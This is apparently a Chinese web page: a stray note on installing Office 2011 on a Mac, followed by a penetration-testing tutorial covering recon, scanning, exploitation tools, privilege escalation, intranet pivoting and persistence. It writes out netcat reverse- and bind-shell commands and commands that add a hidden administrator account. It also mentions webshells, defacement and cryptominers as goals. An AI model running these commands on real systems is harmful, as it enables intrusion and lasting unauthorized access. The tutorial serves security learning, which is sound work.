office of MAC 文件大小的1个多G， 后缀名是*.iso。需要你在网上下载。用U盘拷到你的MAC上。双击打开MAC上的"Microsoft Office 2011.iso"，按步骤一步步安装就可以了。安装完成后的，MAC最下面一栏里就会出现W/P/X/0几个图标的。说明你已经完装好了，可以使用了。
Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。
信息收集
信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。
DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）
整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；
网站常见搭配为：
ASP和ASPX：ACCESS、SQLServer
PHP：MySQL、PostgreSQL
JSP：Oracle、MySQL
敏感目录信息（御剑，dirbust）
开放端口信息（nmp）
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。
常见漏洞：
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如：
Sql注入（sqlmap）
XSS（BEEF）
后台密码爆破（burp）
端口爆破（hydra）
提权
获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用方法：
反向连接
在公网主机上进行监听：
nc-lvp 4444
在内网主机上执行：
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行：
nc-l -p 4444 -t -e cmd.exe
本地主机上执行：
nc-vv 远程主机ip4444
成功后，本地主机即可远程主机的一个shell
然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，或者用nmap扫描存活主机及开放端口，可用hydra进行端口爆破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马，留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工：
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。
第一个：NST
NST一套免费的开源应用程序，是一个基于Fedora的Linux发行版，可在32和64位平台上运行。这个可启动的Live
CD是用于监视、分析和维护计算机网络上的安全性;它可以很容易地将X86系统转换为肉机，这有助于入侵检测，网络流量嗅探，网络数据包生成，网络/主机扫描等。
第二个：NMAP
NMAP是发现企业网络中任何类型的弱点或漏洞的绝佳工具，它也是审计的好工具。该工具的作用是获取原始数据包并确定哪些主机在网络的特定段上可用，正在使用什么操作系统，以及识别特定主机的数据包防火墙或过滤器的不同类型和版本正在使用。NMAP对渗透测试过程的任何阶段都很有用并且还是免费的。
第三个：BeEF工具
BeEF工具主要利用移动端的客户，它的作用是用于检查Web浏览器，对抗Web抗击。BeEF用GitHub找漏洞，它探索了Web边界和客户端系统之外的缺陷。很重要的是，它是专门针对Web浏览器的，能够查看单个源上下文中的漏洞。
第四个：Acunetix Scanner
它是一款知名的网络漏洞扫描工具，能审计复杂的管理报告和问题，并且通过网络爬虫测试你的网站安全，检测流行安全漏洞，还能包含带外漏洞。它具有很高的检测率，覆盖超过4500个弱点;此外，这个工具包含了AcuSensor技术，手动渗透工具和内置漏洞测试，可快速抓取数千个网页，大大提升工作效率。
第五个：John the Ripper
它是一个简单可快速的密码破解工具，用于在已知密文的情况下尝试破解出明文的破解密码软件，支持大多数的加密算法，如DES、MD4、MD5等。
通常的黑客攻击包括预攻击、攻击和后攻击三个阶段；预攻击阶段主要指一些信息收集和漏洞扫描的过程；攻击过程主要是利用第一阶段发现的漏洞或弱口令等脆弱性进行入侵；后攻击是指在获得攻击目标的一定权限后，对权限的提升、后面安装和痕迹清除等后续工作。与黑客的攻击相比，渗透测试仅仅进行预攻击阶段的工作，并不对系统本身造成危害，即仅仅通过一些信息搜集手段来探查系统的弱口令、漏洞等脆弱性信息。为了进行渗透测试，通常需要一些专业工具进行信息收集。渗透测试工具种类繁多，涉及广泛，按照功能和攻击目标分为网络扫描工具、通用漏洞检测、应用漏洞检测三类。
第一类：网络渗透测试工具
网络渗透测试工具是一种可以测试连接到网络的主机/系统的工具。通用的网络渗透测试工具有ciscoAttacks、Fast-Track、Metasploit、SAPExploitation等，这些工具各有各的特点和优势。因为网络渗透测试是一个相对广泛的概念，所以上述工具也可以包括社会工程学渗透测试模块，网络渗透测试模块和无线渗透测试模块。
第二类：社会工程学渗透测试工具
社会工程学渗透测试是利用社会工程学进行渗透测试，通常利用人们行为中的弱点来达到渗透的目的。典型的社会工程学渗透测试工具有BeefXSS和HoneyPots，这些工具诱使用户访问特定的网站，获得用户的Cookie信息，达到渗透的目的。
第三类：网站渗透测试工具
网站渗透测试是对Web应用程序和相应的设备配置进行渗透测试。在进行网站渗透测试时，安全工程序必须采用非破坏性的方法来发现目标系统中的潜在漏洞。常用的网络渗透测试工具有asp-auditor、darkmysql、fimap、xsser等。
第四类：无线渗透测试工具
无线渗透测试工具是蓝牙网络和无线局域网的渗透测试。在进行无线渗透测试时，一般需要先破解目标网络的密码，或者建立虚假热点来吸引目标用户访问，然后通过其他方式控制目标系统。常见的蓝牙网络渗透测试工具有atshell、btftp、bluediving、bluemaho等;常见的无线局域网渗透测试工具有aircack-ng、airmon-ng、pcapgetiv和weakivgeng等，这些工具实现了不同的功能，可以让安全工程师通过各种方式进行无线渗透测试。
包含以下几个流程：
信息收集
第一步做的就是信息收集，根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。
漏洞探测
当我们收集到了足够多的信息之后，我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞，比如：SQL注入 。
漏洞利用
探测到了该网站存在漏洞之后，就要对该漏洞进行利用了。不同的漏洞有不同的利用工具，很多时候，通过一个漏洞我们很难拿到网站的webshell，我们往往需要结合几个漏洞来拿webshell。
内网渗透
当我们能跟内网主机进行通信后，我们就要开始进行内网渗透了。可以先使用nmap对内网主机进行扫描，探测在线的主机，并且探测其使用的操作系统、开放的端口等信息。
内网中也有可能存在供内网使用的内网服务器，可以进一步渗透拿下其权限。
痕迹清除
达到了目的之后，有时候只是为了黑入网站挂黑页，炫耀一下；或者在网站留下一个后门，作为肉鸡，没事的时候上去溜达溜达；亦或者挂入挖矿木马。
撰写渗透测试保告
在完成了渗透测试之后，就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞，以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险，防止被黑客攻击。
我来说两句